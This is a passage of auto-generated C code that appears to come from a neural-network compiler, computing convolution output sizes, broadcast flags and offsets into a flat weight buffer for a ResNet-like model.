x1115;\n}\nint32_t x1215;\nif (x1190) {\nx1215 = 0;\n} else {\nx1215 = 1;\n}\nfloat* x26 = x5+6080;\nbool x1278 = x1203 == 1;\nbool x1279 = x1278 || true;\nbool x1280 = x1279 || x1278;\nbool x1290 = x1203 <= 1;\nint32_t x1291;\nif (x1290) {\nx1291 = 1;\n} else {\nx1291 = x1203;\n}\nint32_t x1297 = x1291 * x1291;\nint32_t x1302;\nif (x1278) {\nx1302 = 0;\n} else {\nx1302 = x1203;\n}\nint32_t x1303;\nif (x1278) {\nx1303 = 0;\n} else {\nx1303 = 1;\n}\nfloat* x53 = x5+6144;\nint32_t x1350 = x1291 + 2;\nint32_t x1351 = x1350 - 3;\nint32_t x1352 = x1351 / 1;\nint32_t x1353 = x1352 + 1;\nint32_t x1357 = 4096 * x1353;\nint32_t x1358 = x1357 * x1353;\nint32_t x1354 = x1353 * x1353;\nint32_t x1355 = 64 * x1354;\nfloat* x90 = x5+6336;\nbool x1480 = x1353 == 1;\nbool x1481 = x1480 || true;\nbool x1482 = x1481 || x1480;\nbool x1492 = x1353 <= 1;\nint32_t x1493;\nif (x1492) {\nx1493 = 1;\n} else {\nx1493 = x1353;\n}\nint32_t x1499 = x1493 * x1493;\nint32_t x1503;\nif (x1480) {\nx1503 = 0;\n} else {\nx1503 = x1353;\n}\nint32_t x1504;\nif (x1480) {\nx1504 = 0;\n} else {\nx1504 = 1;\n}\nfloat* x105 = x5+43328;\nfloat* x158 = x5+43392;\nbool x1583 = x1493 == 1;\nbool x1584 = x1583 || true;\nbool x1585 = x1584 || x1583;\nbool x1595 = x1493 <= 1;\nint32_t x1596;\nif (x1595) {\nx1596 = 1;\n} else {\nx1596 = x1493;\n}\nint32_t x1602 = x1596 * x1596;\nint32_t x1607;\nif (x1583) {\nx1607 = 0;\n} else {\nx1607 = x1493;\n}\nint32_t x1608;\nif (x1583) {\nx1608 = 0;\n} else {\nx1608 = 1;\n}\nbool x1671 = x1596 == 1;\nbool x1672 = x1671 || true;\nbool x1673 = x1672 || x1671;\nbool x1683 = x1596 <= 1;\nint32_t x1684;\nif (x1683) {\nx1684 = 1;\n} else {\nx1684 = x1596;\n}\nint32_t x1690 = x1684 * x1684;\nint32_t x1695;\nif (x1671) {\nx1695 = 0;\n} else {\nx1695 = x1596;\n}\nint32_t x1696;\nif (x1671) {\nx1696 = 0;\n} else {\nx1696 = 1;\n}\nfloat* x164 = x5+43200;\nbool x1759 = x1684 == 1;\nbool x1760 = x1759 || true;\nbool x1761 = x1760 || x1759;\nbool x1771 = x1684 <= 1;\nint32_t x1772;\nif (x1771) {\nx1772 = 1;\n} else {\nx1772 = x1684;\n}\nint32_t x1778 = x1772 * x1772;\nint32_t x1783;\nif (x1759) {\nx1783 = 0;\n} else {\nx1783 = x1684;\n}\nint32_t x1784;\nif (x1759) {\nx1784 = 0;\n} else {\nx1784 = 1;\n}\nfloat* x49 = x5+43264;\nint32_t x1831 = x1772 - 1;\nint32_t x1832 = x1831 / 1;\nint32_t x1833 = x1832 + 1;\nint32_t x1837 = 16384 * x1833;\nint32_t x1838 = x1837 * x1833;\nint32_t x1834 = x1833 * x1833;\nint32_t x1835 = 256 * x1834;\nfloat* x32 = x5+43456;\nbool x1912 = x1833 == 1;\nbool x1913 = x1912 || true;\nbool x1914 = x1913 || x1912;\nbool x1924 = x1833 <= 1;\nint32_t x1925;\nif (x1924) {\nx1925 = 1;\n} else {\nx1925 = x1833;\n}\nint32_t x1931 = x1925 * x1925;\nint32_t x1935;\nif (x1912) {\nx1935 = 0;\n} else {\nx1935 = x1833;\n}\nint32_t x1936;\nif (x1912) {\nx1936 = 0;\n} else {\nx1936 = 1;\n}\nfloat* x71 = x5+60352;\nfloat* x36 = x5+60608;\nbool x2016 = x1925 == 1;\nbool x2017 = x2016 || true;\nbool x2018 = x2017 || x2016;\nbool x2028 = x1925 <= 1;\nint32_t x2029;\nif (x2028) {\nx2029 = 1;\n} else {\nx2029 = x1925;\n}\nint32_t x2035 = x2029 * x2029;\nint32_t x2040;\nif (x2016) {\nx2040 = 0;\n} else {\nx2040 = x1925;\n}\nint32_t x2041;\nif (x2016) {\nx2041 = 0;\n} else {\nx2041 = 1;\n}\nbool x2104 = x2029 == 1;\nbool x2105 = x2104 || true;\nbool x2106 = x2105 || x2104;\nbool x2116 = x2029 <= 1;\nint32_t x2117;\nif (x2116) {\nx2117 = 1;\n} else {\nx2117 = x2029;\n}\nint32_t x2123 = x2117 * x2117;\nint32_t x2128;\nif (x2104) {\nx2128 = 0;\n} else {\nx2128 = x2029;\n}\nint32_t x2129;\nif (x2104) {\nx2129 = 0;\n} else {\nx2129 = 1;\n}\nfloat* x199 = x5+59840;\nbool x2192 = x2117 == 1;\nbool x2193 = x2192 || true;\nbool x2194 = x2193 || x2192;\nbool x2204 = x2117 <= 1;\nint32_t x2205;\nif (x2204) {\nx2205 = 1;\n} else {\nx2205 = x2117;\n}\nint32_t x2211 = x2205 * x2205;\nint32_t x2216;\nif (x2192) {\nx2216 = 0;\n} else {\nx2216 = x2117;\n}\nint32_t x2217;\nif (x2192) {\nx2217 = 0;\n} else {\nx2217 = 1;\n}\nfloat* x126 = x5+60096;\nint32_t x2253 = 16384 * x921;\nint32_t x2254 = x2253 * x921;\nint32_t x2251 = 256 * x922;\nfloat* x162 = x5+60864;\nfloat* x264 = x5+77760;\nfloat* x243 = x5+78016;\nfloat* x76 = x5+77248;\nfloat* x203 = x5+77504;\nbool x2626 = x2205 == 1;\nbool x2627 = x1291 == 1;\nbool x2628 = x2626 || x2627;\nbool x2629 = x2205 == x1291;\nbool x2630 = x2628 || x2629;\nbool x2640 = x2205 <= x1291;\nint32_t x2641;\nif (x2640) {\nx2641 = x1291;\n} else {\nx2641 = x2205;\n}\nint32_t x2656;\nif (x2626) {\nx2656 = 0;\n} else {\nx2656 = x2205;\n}\nint32_t x2657;\nif (x2626) {\nx2657 = 0;\n} else {\nx2657 = 1;\n}\nint32_t x2659;\nif (x2627) {\nx2659 = 0;\n} else {\nx2659 = x1291;\n}\nint32_t x2660;\nif (x2627) {\nx2660 = 0;\n} else {\nx2660 = 1;\n}\nint32_t x2706 = x2205 - 1;\nint32_t x2707 = x2706 / 1;\nint32_t x2708 = x2707 + 1;\nint32_t x2712 = 4096 * x2708;\nint32_t x2713 = x2712 * x2708;\nint32_t x2709 = x2708 * x2708;\nint32_t x2710 = 64 * x2709;\nfloat* x171 = x5+78272;\nbool x2787 = x2708 == 1;\nbool x2788 = x2787 || true;\nbool x2789 = x2788 || x2787;\nbool x2799 = x2708 <= 1;\nint32_t x2800;\nif (x2799) {\nx2800 = 1;\n} else {\nx2800 = x2708;\n}\nint32_t x2806 = x2800 * x2800;\nint32_t x2810;\nif (x2787) {\nx2810 = 0;\n} else {\nx2810 = x2708;\n}\nint32_t x2811;\nif (x2787) {\nx2811 = 0;\n} else {\nx2811 = 1;\n}\nfloat* x10 = x5+94784;\nfloat* x102 = x5+94848;\nbool x2890 = x2800 == 1;\nbool x2891 = x2890 || true;\nbool x2892 = x2891 || x2890;\nbool x2902 = x2800 <= 1;\nint32_t x2903;\nif (x2902) {\nx2903 = 1;\n} else {\nx2903 = x2800;\n}\nint32_t x2909 = x2903 * x2903;\nint32_t x2914;\nif (x2890) {\nx2914 = 0;\n} else {\nx2914 = x2800;\n}\nint32_t x2915;\nif (x2890) {\nx2915 = 0;\n} else {\nx2915 = 1;\n}\nbool x2978 = x2903 == 1;\nbool x2979 = x2978 || true;\nbool x2980 = x2979 || x2978;\nbool x2990 = x2903 <= 1;\nint32_t x2991;\nif (x2990) {\nx2991 = 1;\n} else {\nx2991 = x2903;\n}\nint32_t x2997 = x2991 * x2991;\nint32_t x3002;\nif (x2978) {\nx3002 = 0;\n} else {\nx3002 = x2903;\n}\nint32_t x3003;\nif (x2978) {\nx3003 = 0;\n} else {\nx3003 = 1;\n}\nfloat* x142 = x5+94656;\nbool x3066 = x2991 == 1;\nbool x3067 = x3066 || true;\nbool x3068 = x3067 || x3066;\nbool x3078 = x2991 <= 1;\nint32_t x3079;\nif (x3078) {\nx3079 = 1;\n} else {\nx3079 = x2991;\n}\nint32_t x3085 = x3079 * x3079;\nint32_t x3090;\nif (x3066) {\nx3090 = 0;\n} else {\nx3090 = x2991;\n}\nint32_t x3091;\nif (x3066) {\nx3091 = 0;\n} else {\nx3091 = 1;\n}\nfloat* x60 = x5+94720;\nint32_t x3138 = x3079 + 2;\nint32_t x3139 = x3138 - 3;\nint32_t x3140 = x3139 / 1;\nint32_t x3141 = x3140 + 1;\nint32_t x3145 = 4096 * x3141;\nint32_t x3146 = x3145 * x3141;\nint32_t x3142 = x3141 * x3141;\nint32_t x3143 = 64 * x3142;\nfloat* x83 = x5+94912;\nbool x3268 = x3141 == 1;\nbool x3269 = x3268 || true;\nbool x3270 = x3269 || x3268;\nbool x3280 = x3141 <= 1;\nint32_t x3281;\nif (x3280) {\nx3281 = 1;\n} else {\nx3281 = x3141;\n}\nint32_t x3287 = x3281 * x3281;\nint32_t x3291;\nif (x3268) {\nx3291 = 0;\n} else {\nx3291 = x3141;\n}\nint32_t x3292;\nif (x3268) {\nx3292 = 0;\n} else {\nx3292 = 1;\n}\nfloat* x44 = x5+131904;\nfloat* x244 = x5+131968;\nbool x3371 = x3281 == 1;\nbool x3372 = x3371 || true;\nbool x3373 = x3372 || x3371;\nbool x3383 = x3281 <= 1;\nint32_t x3384;\nif (x3383) {\nx3384 = 1;\n} else {\nx3384 = x3281;\n}\nint32_t x3390 = x3384 * x3384;\nint32_t x3395;\nif (x3371) {\nx3395 = 0;\n} else {\nx3395 = x3281;\n}\nint32_t x3396;\nif (x3371) {\nx3396 = 0;\n} else {\nx3396 = 1;\n}\nbool x3459 = x3384 == 1;\nbool x3460 = x3459 || true;\nbool x3461 = x3460 || x3459;\nbool x3471 = x3384 <= 1;\nint32_t x3472;\nif (x3471) {\nx3472 = 1;\n} else {\nx3472 = x3384;\n}\nint32_t x3478 = x3472 * x3472;\nint32_t x3483;\nif (x3459) {\nx3483 = 0;\n} else {\nx3483 = x3384;\n}\nint32_t x3484;\nif (x3459) {\nx3484 = 0;\n} else {\nx3484 = 1;\n}\nfloat* x208 = x5+131776;\nbool x3547 = x3472 == 1;\nbool x3548 = x3547 || true;\nbool x3549 = x3548 || x3547;\nbool x3559 = x3472 <= 1;\nint32_t x3560;\nif (x3559) {\nx3560 = 1;\n} else {\nx3560 = x3472;\n}\nint32_t x3566 = x3560 * x3560;\nint32_t x3571;\nif (x3547) {\nx3571 = 0;\n} else {\nx3571 = x3472;\n}\nint32_t x3572;\nif (x3547) {\nx3572 = 0;\n} else {\nx3572 = 1;\n}\nfloat* x153 = x5+131840;\nint32_t x3619 = x3560 - 1;\nint32_t x3620 = x3619 / 1;\nint32_t x3621 = x3620 + 1;\nint32_t x3625 = 16384 * x3621;\nint32_t x3626 = x3625 * x3621;\nint32_t x3622 = x3621 * x3621;\nint32_t x3623 = 256 * x3622;\nfloat* x130 = x5+132032;\nbool x3700 = x3621 == 1;\nbool x3701 = x3700 || true;\nbool x3702 = x3701 || x3700;\nbool x3712 = x3621 <= 1;\nint32_t x3713;\nif (x3712) {\nx3713 = 1;\n} else {\nx3713 = x3621;\n}\nint32_t x3719 = x3713 * x3713;\nint32_t x3723;\nif (x3700) {\nx3723 = 0;\n} else {\nx3723 = x3621;\n}\nint32_t x3724;\nif (x3700) {\nx3724 = 0;\n} else {\nx3724 = 1;\n}\nfloat* x91 = x5+148928;\nfloat* x166 = x5+149184;\nbool x3803 = x3713 == 1;\nbool x3804 = x3803 || true;\nbool x3805 = x3804 || x3803;\nbool x3815 = x3713 <= 1;\nint32_t x3816;\nif (x3815) {\nx3816 = 1;\n} else {\nx3816 = x3713;\n}\nint32_t x3822 = x3816 * x3816;\nint32_t x3827;\nif (x3803) {\nx3827 = 0;\n} else {\nx3827 = x3713;\n}\nint32_t x3828;\nif (x3803) {\nx3828 = 0;\n} else {\nx3828 = 1;\n}\nbool x3891 = x3816 == 1;\nbool x3892 = x3891 || true;\nbool x3893 = x3892 || x3891;\nbool x3903 = x3816 <= 1;\nint32_t x3904;\nif (x3903) {\nx3904 = 1;\n} else {\nx3904 = x3816;\n}\nint32_t x3910 = x3904 * x3904;\nint32_t x3915;\nif (x3891) {\nx3915 = 0;\n} else {\nx3915 = x3816;\n}\nint32_t x3916;\nif (x3891) {\nx3916 = 0;\n} else {\nx3916 = 1;\n}\nfloat* x58 = x5+148416;\nbool x3979 = x3904 == 1;\nbool x3980 = x3979 || true;\nbool x3981 = x3980 || x3979;\nbool x3991 = x3904 <= 1;\nint32_t x3992;\nif (x3991) {\nx3992 = 1;\n} else {\nx3992 = x3904;\n}\nint32_t x3998 = x3992 * x3992;\nint32_t x4003;\nif (x3979) {\nx4003 = 0;\n} else {\nx4003 = x3904;\n}\nint32_t x4004;\nif (x3979) {\nx4004 = 0;\n} else {\nx4004 = 1;\n}\nfloat* x7 = x5+148672;\nbool x4042 = x3992 == 1;\nbool x4043 = x4042 || x2626;\nbool x4044 = x3992 == x2205;\nbool x4045 = x4043 || x4044;\nbool x4055 = x3992 <= x2205;\nint32_t x4056;\nif (x4055) {\nx4056 = x2205;\n} else {\nx4056 = x3992;\n}\nint32_t x4071;\nif (x4042) {\nx4071 = 0;\n} else {\nx4071 = x3992;\n}\nint32_t x4072;\nif (x4042) {\nx4072 = 0;\n} else {\nx4072 = 1;\n}\nint32_t x4118 = x3992 - 1;\nint32_t x4119 = x4118 / 1;\nint32_t x4120 = x4119 + 1;\nint32_t x4124 = 4096 * x4120;\nint32_t x4125 = x4124 * x4120;\nint32_t x4121 = x4120 * x4120;\nint32_t x4122 = 64 * x4121;\nfloat* x150 = x5+149440;\nbool x4199 = x4120 == 1;\nbool x4200 = x4199 || true;\nbool x4201 = x4200 || x4199;\nbool x4211 = x4120 <= 1;\nint32_t x4212;\nif (x4211) {\nx4212 = 1;\n} else {\nx4212 = x4120;\n}\nint32_t x4218 = x4212 * x4212;\nint32_t x4222;\nif (x4199) {\nx4222 = 0;\n} else {\nx4222 = x4120;\n}\nint32_t x4223;\nif (x4199) {\nx4223 = 0;\n} else {\nx4223 = 1;\n}\nfloat* x257 = x5+165952;\nfloat* x187 = x5+166016;\nbool x4302 = x4212 == 1;\nbool x4303 = x4302 || true;\nbool x4304 = x4303 || x4302;\nbool x4314 = x4212 <= 1;\nint32_t x4315;\nif (x4314) {\nx4315 = 1;\n} else {\nx4315 = x4212;\n}\nint32_t x4321 = x4315 * x4315;\nint32_t x4326;\nif (x4302) {\nx4326 = 0;\n} else {\nx4326 = x4212;\n}\nint32_t x4327;\nif (x4302) {\nx4327 = 0;\n} else {\nx4327 = 1;\n}\nbool x4390 = x4315 == 1;\nbool x4391 = x4390 || true;\nbool x4392 = x4391 || x4390;\nbool x4402 = x4315 <= 1;\nint32_t x4403;\nif (x4402) {\nx4403 = 1;\n} else {\nx4403 = x4315;\n}\nint32_t x4409 = x4403 * x4403;\nint32_t x4414;\nif (x4390) {\nx4414 = 0;\n} else {\nx4414 = x4315;\n}\nint32_t x4415;\nif (x4390) {\nx4415 = 0;\n} else {\nx4415 = 1;\n}\nfloat* x81 = x5+165824;\nbool x4478 = x4403 == 1;\nbool x4479 = x4478 || true;\nbool x4480 = x4479 || x4478;\nbool x4490 = x4403 <= 1;\nint32_t x4491;\nif (x4490) {\nx4491 = 1;\n} else {\nx4491 = x4403;\n}\nint32_t x4497 = x4491 * x4491;\nint32_t x4502;\nif (x4478) {\nx4502 = 0;\n} else {\nx4502 = x4403;\n}\nint32_t x4503;\nif (x4478) {\nx4503 = 0;\n} else {\nx4503 = 1;\n}\nfloat* x24 = x5+165888;\nint32_t x4550 = x4491 + 2;\nint32_t x4551 = x4550 - 3;\nint32_t x4552 = x4551 / 1;\nint32_t x4553 = x4552 + 1;\nint32_t x4557 = 4096 * x4553;\nint32_t x4558 = x4557 * x4553;\nint32_t x4554 = x4553 * x4553;\nint32_t x4555 = 64 * x4554;\nfloat* x73 = x5+166080;\nbool x4680 = x4553 == 1;\nbool x4681 = x4680 || true;\nbool x4682 = x4681 || x4680;\nbool x4692 = x4553 <= 1;\nint32_t x4693;\nif (x4692) {\nx4693 = 1;\n} else {\nx4693 = x4553;\n}\nint32_t x4699 = x4693 * x4693;\nint32_t x4703;\nif (x4680) {\nx4703 = 0;\n} else {\nx4703 = x4553;\n}\nint32_t x4704;\nif (x4680) {\nx4704 = 0;\n} else {\nx4704 = 1;\n}\nfloat* x179 = x5+203072;\nfloat* x118 = x5+203136;\nbool x4783 = x4693 == 1;\nbool x4784 = x4783 || true;\nbool x4785 = x4784 || x4783;\nbool x4795 = x4693 <= 1;\nint32_t x4796;\nif (x4795) {\nx4796 = 1;\n} else {\nx4796 = x4693;\n}\nint32_t x4802 = x4796 * x4796;\nint32_t x4807;\nif (x4783) {\nx4807 = 0;\n} else {\nx4807 = x4693;\n}\nint32_t x4808;\nif (x4783) {\nx4808 = 0;\n} else {\nx4808 = 1;\n}\nbool x4871 = x4796 == 1;\nbool x4872 = x4871 || true;\nbool x4873 = x4872 || x4871;\nbool x4883 = x4796 <= 1;\nint32_t x4884;\nif (x4883) {\nx4884 = 1;\n} else {\nx4884 = x4796;\n}\nint32_t x4890 = x4884 * x4884;\nint32_t x4895;\nif (x4871) {\nx4895 = 0;\n} else {\nx4895 = x4796;\n}\nint32_t x4896;\nif (x4871) {\nx4896 = 0;\n} else {\nx4896 = 1;\n}\nfloat* x72 = x5+202944;\nbool x4959 = x4884 == 1;\nbool x4960 = x4959 || true;\nbool x4961 = x4960 || x4959;\nbool x4971 = x4884 <= 1;\nint32_t x4972;\nif (x4971) {\nx4972 = 1;\n} else {\nx4972 = x4884;\n}\nint32_t x4978 = x4972 * x4972;\nint32_t x4983;\nif (x4959) {\nx4983 = 0;\n} else {\nx4983 = x4884;\n}\nint32_t x4984;\nif (x4959) {\nx4984 = 0;\n} else {\nx4984 = 1;\n}\nfloat* x135 = x5+203008;\nint32_t x5031 = x4972 - 1;\nint32_t x5032 = x5031 / 1;\nint32_t x5033 = x5032 + 1;\nint32_t x5037 = 16384 * x5033;\nint32_t x5038 = x5037 * x5033;\nint32_t x5034 = x5033 * x5033;\nint32_t x5035 = 256 * x5034;\nfloat* x87 = x5+203200;\nbool x5112 = x5033 == 1;\nbool x5113 = x5112 || true;\nbool x5114 = x5113 || x5112;\nbool x5124 = x5033 <= 1;\nint32_t x5125;\nif (x5124) {\nx5125 = 1;\n} else {\nx5125 = x5033;\n}\nint32_t x5131 = x5125 * x5125;\nint32_t x5135;\nif (x5112) {\nx5135 = 0;\n} else {\nx5135 = x5033;\n}\nint32_t x5136;\nif (x5112) {\nx5136 = 0;\n} else {\nx5136 = 1;\n}\nfloat* x184 = x5+220096;\nfloat* x133 = x5+220352;\nbool x5215 = x5125 == 1;\nbool x5216 = x5215 || true;\nbool x5217 = x5216 || x5215;\nbool x5227 = x5125 <= 1;\nint32_t x5228;\nif (x5227) {\nx5228 = 1;\n} else {\nx5228 = x5125;\n}\nint32_t x5234 = x5228 * x5228;\nint32_t x5239;\nif (x5215) {\nx5239 = 0;\n} else {\nx5239 = x5125;\n}\nint32_t x5240;\nif (x5215) {\nx5240 = 0;\n} else {\nx5240 = 1;\n}\nbool x5303 = x5228 == 1;\nbool x5304 = x5303 || true;\nbool x5305 = x5304 || x5303;\nbool x5315 = x5228 <= 1;\nint32_t x5316;\nif (x5315) {\nx5316 = 1;\n} else {\nx5316 = x5228;\n}\nint32_t x5322 = x5316 * x5316;\nint32_t x5327;\nif (x5303) {\nx5327 = 0;\n} else {\nx5327 = x5228;\n}\nint32_t x5328;\nif (x5303) {\nx5328 = 0;\n} else {\nx5328 = 1;\n}\nfloat* x37 = x5+219584;\nbool x5391 = x5316 == 1;\nbool x5392 = x5391 || true;\nbool x5393 = x5392 || x5391;\nbool x5403 = x5316 <= 1;\nint32_t x5404;\nif (x5403) {\nx5404 = 1;\n} else {\nx5404 = x5316;\n}\nint32_t x5410 = x5404 * x5404;\nint32_t x5415;\nif (x5391) {\nx5415 = 0;\n} else {\nx5415 = x5316;\n}\nint32_t x5416;\nif (x5391) {\nx5416 = 0;\n} else {\nx5416 = 1;\n}\nfloat* x247 = x5+219840;\nbool x5454 = x5404 == 1;\nbool x5455 = x5454 || x4042;\nbool x5456 = x5404 == x3992;\nbool x5457 = x5455 || x5456;\nbool x5467 = x5404 <= x3992;\nint32_t x5468;\nif (x5467) {\nx5468 = x3992;\n} else {\nx5468 = x5404;\n}\nint32_t x5483;\nif (x5454) {\nx5483 = 0;\n} else {\nx5483 = x5404;\n}\nint32_t x5484;\nif (x5454) {\nx5484 = 0;\n} else {\nx5484 = 1;\n}\nint32_t x5530 = x5404 - 1;\nint32_t x5531 = x5530 / 1;\nint32_t x5532 = x5531 + 1;\nint32_t x5536 = 8192 * x5532;\nint32_t x5537 = x5536 * x5532;\nint32_t x5533 = x5532 * x5532;\nint32_t x5534 = 128 * x5533;\nfloat* x11 = x5+220608;\nbool x5611 = x5532 == 1;\nbool x5612 = x5611 || true;\nbool x5613 = x5612 || x5611;\nbool x5623 = x5532 <= 1;\nint32_t x5624;\nif (x5623) {\nx5624 = 1;\n} else {\nx5624 = x5532;\n}\nint32_t x5630 = x5624 * x5624;\nint32_t x5634;\nif (x5611) {\nx5634 = 0;\n} else {\nx5634 = x5532;\n}\nint32_t x5635;\nif (x5611) {\nx5635 = 0;\n} else {\nx5635 = 1;\n}\nfloat* x204 = x5+253632;\nfloat* x134 = x5+253760;\nbool x5715 = x5624 == 1;\nbool x5716 = x5715 || true;\nbool x5717 = x5716 || x5715;\nbool x5727 = x5624 <= 1;\nint32_t x5728;\nif (x5727) {\nx5728 = 1;\n} else {\nx5728 = x5624;\n}\nint32_t x5734 = x5728 * x5728;\nint32_t x5739;\nif (x5715) {\nx5739 = 0;\n} else {\nx5739 = x5624;\n}\nint32_t x5740;\nif (x5715) {\nx5740 = 0;\n} else {\nx5740 = 1;\n}\nbool x5803 = x5728 == 1;\nbool x5804 = x5803 || true;\nbool x5805 = x5804 || x5803;\nbool x5815 = x5728 <= 1;\nint32_t x5816;\nif (x5815) {\nx5816 = 1;\n} else {\nx5816 = x5728;\n}\nint32_t x5822 = x5816 * x5816;\nint32_t x5827;\nif (x5803) {\nx5827 = 0;\n} else {\nx5827 = x5728;\n}\nint32_t x5828;\nif (x5803) {\nx5828 = 0;\n} else {\nx5828 = 1;\n}\nfloat* x84 = x5+253376;\nbool x5891 = x5816 == 1;\nbool x5892 = x5891 || true;\nbool x5893 = x5892 || x5891;\nbool x5903 = x5816 <= 1;\nint32_t x5904;\nif (x5903) {\nx5904 = 1;\n} else {\nx5904 = x5816;\n}\nint32_t x5910 = x5904 * x5904;\nint32_t x5915;\nif (x5891) {\nx5915 = 0;\n} else {\nx5915 = x5816;\n}\nint32_t x5916;\nif (x5891) {\nx5916 = 0;\n} else {\nx5916 = 1;\n}\nfloat* x172 = x5+253504;\nint32_t x5963 = x5904 + 2;\nint32_t x5964 = x5963 - 3;\nint32_t x5965 = x5964 / 2;\nint32_t x5966 = x5965 + 1;\nint32_t x5970 = 8192 * x5966;\nint32_t x5971 = x5970 * x5966;\nint32_t x5967 = x5966 * x5966;\nint32_t x5968 = 128 * x5967;\nfloat* x27 = x5+253888;\nbool x6077 = x5966 == 1;\nbool x6078 = x6077 || true;\nbool x6079 = x6078 || x6077;\nbool x6089 = x5966 <= 1;\nint32_t x6090;\nif (x6089) {\nx6090 = 1;\n} else {\nx6090 = x5966;\n}\nint32_t x6096 = x6090 * x6090;\nint32_t x6100;\nif (x6077) {\nx6100 = 0;\n} else {\nx6100 = x5966;\n}\nint32_t x6101;\nif (x6077) {\nx6101 = 0;\n} else {\nx6101 = 1;\n}\nfloat* x128 = x5+401600;\nfloat* x43 = x5+401728;\nbool x6180 = x6090 == 1;\nbool x6181 = x6180 || true;\nbool x6182 = x6181 || x6180;\nbool x6192 = x6090 <= 1;\nint32_t x6193;\nif (x6192) {\nx6193 = 1;\n} else {\nx6193 = x6090;\n}\nint32_t x6199 = x6193 * x6193;\nint32_t x6204;\nif (x6180) {\nx6204 = 0;\n} else {\nx6204 = x6090;\n}\nint32_t x6205;\nif (x6180) {\nx6205 = 0;\n} else {\nx6205 = 1;\n}\nbool x6268 = x6193 == 1;\nbool x6269 = x6268 || true;\nbool x6270 = x6269 || x6268;\nbool x6280 = x6193 <= 1;\nint32_t x6281;\nif (x6280) {\nx6281 = 1;\n} else {\nx6281 = x6193;\n}\nint32_t x6287 = x6281 * x6281;\nint32_t x6292;\nif (x6268) {\nx6292 = 0;\n} else {\nx6292 = x6193;\n}\nint32_t x6293;\nif (x6268) {\nx6293 = 0;\n} else {\nx6293 = 1;\n}\nfloat* x252 = x5+401344;\nbool x6356 = x6281 == 1;\nbool x6357 = x6356 || true;\nbool x6358 = x6357 || x6356;\nbool x6368 = x6281 <= 1;\nint32_t x6369;\nif (x6368) {\nx6369 = 1;\n} else {\nx6369 = x6281;\n}\nint32_t x6375 = x6369 * x6369;\nint32_t x6380;\nif (x6356) {\nx6380 = 0;\n} else {\nx6380 = x6281;\n}\nint32_t x6381;\nif (x6356) {\nx6381 = 0;\n} else {\nx6381 = 1;\n}\nfloat* x190 = x5+401472;\nint32_t x6428 = x6369 - 1;\nint32_t x6429 = x6428 / 1;\nint32_t x6430 = x6429 + 1;\nint32_t x6434 = 32768 * x6430;\nint32_t x6435 = x6434 * x6430;\nint32_t x6431 = x6430 * x6430;\nint32_t x6432 = 512 * x6431;\nfloat* x106 = x5+401856;\nbool x6509 = x6430 == 1;\nbool x6510 = x6509 || true;\nbool x6511 = x6510 || x6509;\nbool x6521 = x6430 <= 1;\nint32_t x6522;\nif (x6521) {\nx6522 = 1;\n} else {\nx6522 = x6430;\n}\nint32_t x6528 = x6522 * x6522;\nint32_t x6532;\nif (x6509) {\nx6532 = 0;\n} else {\nx6532 = x6430;\n}\nint32_t x6533;\nif (x6509) {\nx6533 = 0;\n} else {\nx6533 = 1;\n}\nfloat* x149 = x5+468416;\nfloat* x101 = x5+468928;\nbool x6613 = x6522 == 1;\nbool x6614 = x6613 || true;\nbool x6615 = x6614 || x6613;\nbool x6625 = x6522 <= 1;\nint32_t x6626;\nif (x6625) {\nx6626 = 1;\n} else {\nx6626 = x6522;\n}\nint32_t x6632 = x6626 * x6626;\nint32_t x6637;\nif (x6613) {\nx6637 = 0;\n} else {\nx6637 = x6522;\n}\nint32_t x6638;\nif (x6613) {\nx6638 = 0;\n} else {\nx6638 = 1;\n}\nbool x6701 = x6626 == 1;\nbool x6702 = x6701 || true;\nbool x6703 = x6702 || x6701;\nbool x6713 = x6626 <= 1;\nint32_t x6714;\nif (x6713) {\nx6714 = 1;\n} else {\nx6714 = x6626;\n}\nint32_t x6720 = x6714 * x6714;\nint32_t x6725;\nif (x6701) {\nx6725 = 0;\n} else {\nx6725 = x6626;\n}\nint32_t x6726;\nif (x6701) {\nx6726 = 0;\n} else {\nx6726 = 1;\n}\nfloat* x145 = x5+467392;\nbool x6789 = x6714 == 1;\nbool x6790 = x6789 || true;\nbool x6791 = x6790 || x6789;\nbool x6801 = x6714 <= 1;\nint32_t x6802;\nif (x6801) {\nx6802 = 1;\n} else {\nx6802 = x6714;\n}\nint32_t x6808 = x6802 * x6802;\nint32_t x6813;\nif (x6789) {\nx6813 = 0;\n} else {\nx6813 = x6714;\n}\nint32_t x6814;\nif (x6789) {\nx6814 = 0;\n} else {\nx6814 = 1;\n}\nfloat* x210 = x5+467904;\nint32_t x6848 = x5530 / 2;\nint32_t x6849 = x6848 + 1;\nint32_t x6853 = 32768 * x6849;\nint32_t x6854 = x6853 * x6849;\nint32_t x6850 = x6849 * x6849;\nint32_t x6851 = 512 * x6850;\nfloat* x258 = x5+469440;\nbool x6934 = x6849 == 1;\nbool x6935 = x6934 || true;\nbool x6936 = x6935 || x6934;\nbool x6946 = x6849 <= 1;\nint32_t x6947;\nif (x6946) {\nx6947 = 1;\n} else {\nx6947 = x6849;\n}\nint32_t x6953 = x6947 * x6947;\nint32_t x6957;\nif (x6934) {\nx6957 = 0;\n} else {\nx6957 = x6849;\n}\nint32_t x6958;\nif (x6934) {\nx6958 = 0;\n} else {\nx6958 = 1;\n}\nfloat* x42 = x5+601536;\nfloat* x23 = x5+602048;\nbool x7037 = x6947 == 1;\nbool x7038 = x7037 || true;\nbool x7039 = x7038 || x7037;\nbool x7049 = x6947 <= 1;\nint32_t x7050;\nif (x7049) {\nx7050 = 1;\n} else {\nx7050 = x6947;\n}\nint32_t x7056 = x7050 * x7050;\nint32_t x7061;\nif (x7037) {\nx7061 = 0;\n} else {\nx7061 = x6947;\n}\nint32_t x7062;\nif (x7037) {\nx7062 = 0;\n} else {\nx7062 = 1;\n}\nbool x7125 = x7050 == 1;\nbool x7126 = x7125 || true;\nbool x7127 = x7126 || x7125;\nbool x7137 = x7050 <= 1;\nint32_t x7138;\nif (x7137) {\nx7138 = 1;\n} else {\nx7138 = x7050;\n}\nint32_t x7144 = x7138 * x7138;\nint32_t x7149;\nif (x7125) {\nx7149 = 0;\n} else {\nx7149 = x7050;\n}\nint32_t x7150;\nif (x7125) {\nx7150 = 0;\n} else {\nx7150 = 1;\n}\nfloat* x207 = x5+600512;\nbool x7213 = x7138 == 1;\nbool x7214 = x7213 || true;\nbool x7215 = x7214 || x7213;\nbool x7225 = x7138 <= 1;\nint32_t x7226;\nif (x7225) {\nx7226 = 1;\n} else {\nx7226 = x7138;\n}\nint32_t x7232 = x7226 * x7226;\nint32_t x7237;\nif (x7213) {\nx7237 = 0;\n} else {\nx7237 = x7138;\n}\nint32_t 